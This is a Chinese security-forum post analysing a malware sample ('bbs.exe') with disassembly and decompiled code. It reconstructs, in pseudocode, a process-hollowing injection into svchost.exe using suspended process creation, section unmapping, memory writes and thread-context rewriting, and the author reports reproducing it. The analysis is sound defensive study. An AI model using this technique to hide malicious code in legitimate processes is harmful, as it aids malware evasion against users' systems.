首页
论坛
课程
招聘

[原创]两个样本分析,两种进程注入学习

2019-02-25 10:44
对于具体功能,没怎么分析,主要是为了学习两种技术,希望大牛们多多指教

1. 起因
某次卡饭hips浏览中,看到某高大上进程注入方式(主要是某人头发长),惊为天人,技术堪称猥琐之王(抬高了?),额。。。不捧了。由于没有样本,也没有搜索到资料,只能作罢。
某天,突然来了兴致,要分析个样本,随便在卡饭样本区下了个感觉挺啥啥的样本,一分析,你妹,咋这么熟悉呢,居然就是同类的进程注入,然后某人就有了下面的文章。
2. 分析与实现
2.1 PEID
壳信息:Microsoft Visual C++ v6.0,无壳
文件名:bbs.exe
既然无壳,直接ida先分析一下,遇到无法分析的OD继续调试。
2.2 分析
打开IDA,拖入文件,找到主函数:
.text:0040A720 ; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
.text:0040A720
.text:0040A720                 push    ebp
.text:0040A721                 mov     ebp, esp
.text:0040A723                 push    ecx
.text:0040A724                 call    sub_408BE0
.text:0040A729                 mov     esp_4FEE68, esp
.text:0040A72F                 mov     esp_4FEE6C, ebp
.text:0040A735                 call    sub_408929//主功能函数
.text:0040A73A                 mov     [ebp+var_4], eax
.text:0040A73D                 mov     eax, [ebp+var_4]
.text:0040A740                 mov     esp, ebp
.text:0040A742                 pop     ebp
.text:0040A743                 retn    10h
.text:0040A743 _WinMain@16     endp
没什么东西,继续sub_408929:
.text:00408929 sub_408929      proc near               ; CODE XREF: WinMain(x,x,x,x)+15p
.text:00408929                 cld
.text:0040892A                 fninit
.text:0040892C                 call    myNewObj
.text:00408931                 push    offset sub_406C2A
.text:00408936                 mov     eax, 3
.text:0040893B                 call    myInitFunc
.text:00408940                 add     esp, 4
.text:00408943                 call    sub_40101D//这几个都是些无用函数,多半是花指令
.text:00408948                 call    sub_406B84
.text:0040894D                 call    sub_406BDB
.text:00408952                 call    sub_401000
.text:00408957                 call    sub_406BBE
.text:0040895C                 call    sub_406BA1
.text:00408961                 call    sub_406BF8
.text:00408966                 call    myReleaseFile//文件释放,可能是功能文件
.text:0040896B                 push    eax             ; uExitCode
.text:0040896C                 call    nullsub_1
.text:00408971                 call    j_myExit
.text:00408976                 add     esp, 4
.text:00408979                 retn
.text:00408979 sub_408929      endp
其他函数都没有什么重要的代码,接着看看myReleaseFile,代码太多,直接f5看看整体流程,结构:
int __cdecl myReleaseFile()
{
  lpMem = "QzpcUHJvZ3JhbSBGaWxlc1xDb21tb24gRmlsZXNcTWljcm9zb2Z0IFNoYXJlZFxNU0luZm9ca2trLnR4dA==";// C:\Program Files\Common Files\Microsoft Shared\MSInfo\kkk.txt
  v12 = (void *)myBase64Dec(&lpMem);
  if ( lpMem )
    j_myIsInMyImg(lpMem);
  v1 = (int)v12;
  if ( !v12 )
    v1 = (int)dword_416285;
  pszPath = (LPCSTR)myFormat(ebp0, 1, (unsigned int)v1, 0x80000005u);//  C:\Program Files\Common Files\Microsoft Shared\MSInfo\kkk.txt
  v2 = (int)v12;
  if ( v12 )
    j_myIsInMyImg(v12);
  v10 = (int *)&v6;
  v3 = PathFileExistsA(pszPath);
  if ( (void **)v10 != &v6 )
    v3 = myRunError(v2, 6);
  v9 = v3;
  if ( pszPath )
    j_myIsInMyImg((void *)pszPath);
  if ( v9 == 1 )
  {
    lpMem = "我是一个中国人";//恩,很爱国
    v12 = "34,85,10,1D,04,D1,CF,42,DF,A4,B0,";
    pszPath = (LPCSTR)myDecStr(&v12, &lpMem);   // 字符串解密,"svchost.exe"
    if ( v12 )
      j_myIsInMyImg(v12);
    if ( lpMem )
      j_myIsInMyImg(lpMem);
    v4 = j_myNewBuf(ebp0, 0x10u);
    v10 = (int *)v4;
    *(_DWORD *)v4 = 0;
    *((_DWORD *)v4 + 1) = 0;
    *((_DWORD *)v4 + 2) = 0;
    *((_DWORD *)v4 + 3) = 0;
    v9 = 0;
    v8 = 0;
    v7 = 0;
    v6 = &unk_4162BE;
    myWork(&v6, &v7, 0, &pszPath, 1, 0, 0, 0, 0, &v10, 0);//注入进程的功能,代码中很多混淆
    if ( v6 )
      j_myIsInMyImg(v6);
    if ( v7 )
      j_myIsInMyImg(v7);
    if ( pszPath )
      j_myIsInMyImg((void *)pszPath);
    j_myIsInMyImg(v10);
    sub_40574F();
  }
  return 0;
}
由于在myWork中太多混淆,IDA无力,转战OD,看到高大上的进程注入。由于代码混淆,太多PE操作,而且IDA没有有效识别内存拷贝函数,给分析带来了较大困难。
下面是主要的进程注入用到的函数表,myWork中调用这些关键函数,都是通过该函数表调用,里面通过loaddll+getprocaddress获取到函数地址,返回,然后调用:
.data:004FB87F myLocalSize1    dd offset myLocalSize   ; DATA XREF: .text:00402CACr
.data:004FB883 myRtlMoveMemory1 dd offset myRtlMoveMemory ; DATA XREF: .text:00402F32r
.data:004FB887 myLocalSize2    dd offset sub_4089DC    ; DATA XREF: .text:00403303r
.data:004FB88B myRtlMoveMemory2 dd offset sub_4089F2   ; DATA XREF: .text:00403701r
.data:004FB88F myLocalSize3    dd offset sub_408A08    ; DATA XREF: .text:00403A06r
.data:004FB893 myCreateProcessA dd offset sub_408A1E   ; DATA XREF: .text:00403DEEr
.data:004FB897 myGetThreadContext dd offset sub_408A34 ; DATA XREF: sub_403FC0+C8r
.data:004FB89B myReadProcessMemory dd offset sub_408A4A ; DATA XREF: sub_403FC0+2E9r
.data:004FB89F myZwUnmapViewOfSection dd offset sub_408A60 ; DATA XREF: sub_403FC0+335r
.data:004FB8A3 myVirtualAllocEx dd offset sub_408A76   ; DATA XREF: sub_403FC0+3ACr
.data:004FB8A7 myWriteProcessMemory dd offset sub_408A8C ; DATA XREF: sub_403FC0+43Fr
.data:004FB8AB myLocalSize5    dd offset sub_408AA2    ; DATA XREF: sub_403FC0+9A7r
.data:004FB8AF myRtlMoveMemory_0 dd offset sub_408AB8  ; DATA XREF: sub_403FC0+B0Er
.data:004FB8B3 myVirtualProtectEx dd offset sub_408ACE ; DATA XREF: sub_403FC0+D60r
.data:004FB8B7 myWriteProcessMemory_0 dd offset sub_408AE4 ; DATA XREF: sub_403FC0+DD2r
.data:004FB8BB mySetThreadContext dd offset sub_408AFA ; DATA XREF: sub_403FC0+FA8r
.data:004FB8BF myResumeThread  dd offset sub_408B10    ; DATA XREF: sub_403FC0+1172r
.data:004FB8C3 myWaitForSingleObject dd offset sub_408B26 ; DATA XREF: sub_403FC0+11ADr
.data:004FB8C7 myCloseHandle_  dd offset sub_408B3C    ; DATA XREF: sub_403FC0+11E6r
.data:004FB8CB myGetEnvironmentVariableA dd offset sub_408B52
.data:004FB8CF myTerminateProcess dd offset sub_408B68 ; DATA XREF: sub_4053DE+1Er
.data:004FB8D3 myReadFileEx    dd offset sub_408B7E    ; DATA XREF: sub_405FAA+1E2r
.data:004FB8D7 myGetFileSize   dd offset sub_408B94    ; DATA XREF: sub_4063B0+DFr
.data:004FB8DB myCloseHandle   dd offset sub_408BAA    ; DATA XREF: sub_4064C4+1Dr
.data:004FB8DF myLocalFree     dd offset sub_408BC0    ; DATA XREF: sub_4065D9+541r
获取函数的代码结构:
.text:004089B0 myLocalSize     proc near               ; CODE XREF: .text:00402CACp
.text:004089B0                                         ; DATA XREF: .data:myLocalSize1o
.text:004089B0                 push    offset myLocalSize1 ; int
.text:004089B5                 push    offset aLocalsize ; "LocalSize"
.text:004089BA                 push    offset aKernel32 ; "kernel32"
.text:004089BF                 call    myGetProc
.text:004089C4                 jmp     eax
.text:004089C4 myLocalSize     endp
最后基本总结了myWork的代码逻辑,也一窥了进程注入的猥琐:

CreateProcessA(0, "svchost.exe", 0, 0, 0, 4/*CREATE_SUSPENDED*/, 0, 0, &sa, &pi );//按suspend创建进程,这样主线程就会挂起,等待后面的宰割
GetThreadContext(pi.hThread, &context);
ReadProcessMemory(pi.hProcess, 0x7ffde008/*peb->ImageBaseAddress*/, buf, 4, &size); /*获取到的是img基地址 peb->ImageBaseAddress*/
ZwUnmapViewOfSection(pi.hProcess, buf);//这里有个bug,buf传递方式错误,导致无法unmap,应该是&buf
VirtualAllocEx(pi.hProcess, 0x400000, size, MEM_COMMIT|MEM_RESERVE/*0x3000*/, PAGE_READWRITE/**4/ );
//解析PE文件,写入进程对应位置
WriteProcessMemory(pi.hProcess, 0x400000, buf, 0x1000, &size);//写入头部
for(i =0 ;i<num_of_sec; i++)
{
    WriteProcessMemory(pi.hProcess, 0x400000+sec[i].va, buf, sec[i].size, &size);//.text, .rdata, .data
    VirtualProtectEx(pi.hProcess, 0x400000+sec[i].va, sec[i].size, NewProtect, &oldProtect);//PAGE_EXECUTE_READ, PAGE_READONLY, PAGE_READWRITE
}
//重写eop
//重写基地址
WriteProcessMemory(pi.hProcess, 0x7ffde008/*peb->ImageBaseAddress*/, MyBaseAddr, 4, &size);//写入我的img 基地址 0x400000
SetThreadContext(pi.hProcess, context);//恢复
ResumeThread(pi.hThread);//恢复线程执行
3. 总结
本来打算完整分析一下的,在分析到进程注入时,由于自己代码实现中,遇到了一些问题,调试无语,eop和基地址都改写了,那么就是映射section遇到问题,终于修改成
直接pe完整写入宿主进程,成功执行了注入进程的功能。
所以,后面也没时间具体分析样本的功能了。
测试了该方式,无法过掉主防,在WriteProcessMemory就会被拦截,所以该方式基本只是作为技术研究,直接使用,还需努力。
4. 参考
[1] http://www.cnblogs.com/lbq1221119/archive/2008/07/22/1248706.html
[2] http://blog.csdn.net/darthas/article/details/12569443

还有一篇,由于内容太多,就不贴了,链接是:http://t.cn/RztLocT

样本:

[推荐]看雪企服平台,提供安全分析、定制项目开发、APP等级保护、渗透测试等安全服务!

上传的附件:

声明:该文观点仅代表作者本人,转载请注明来自看雪专栏
最新评论 (0)
登录后即可评论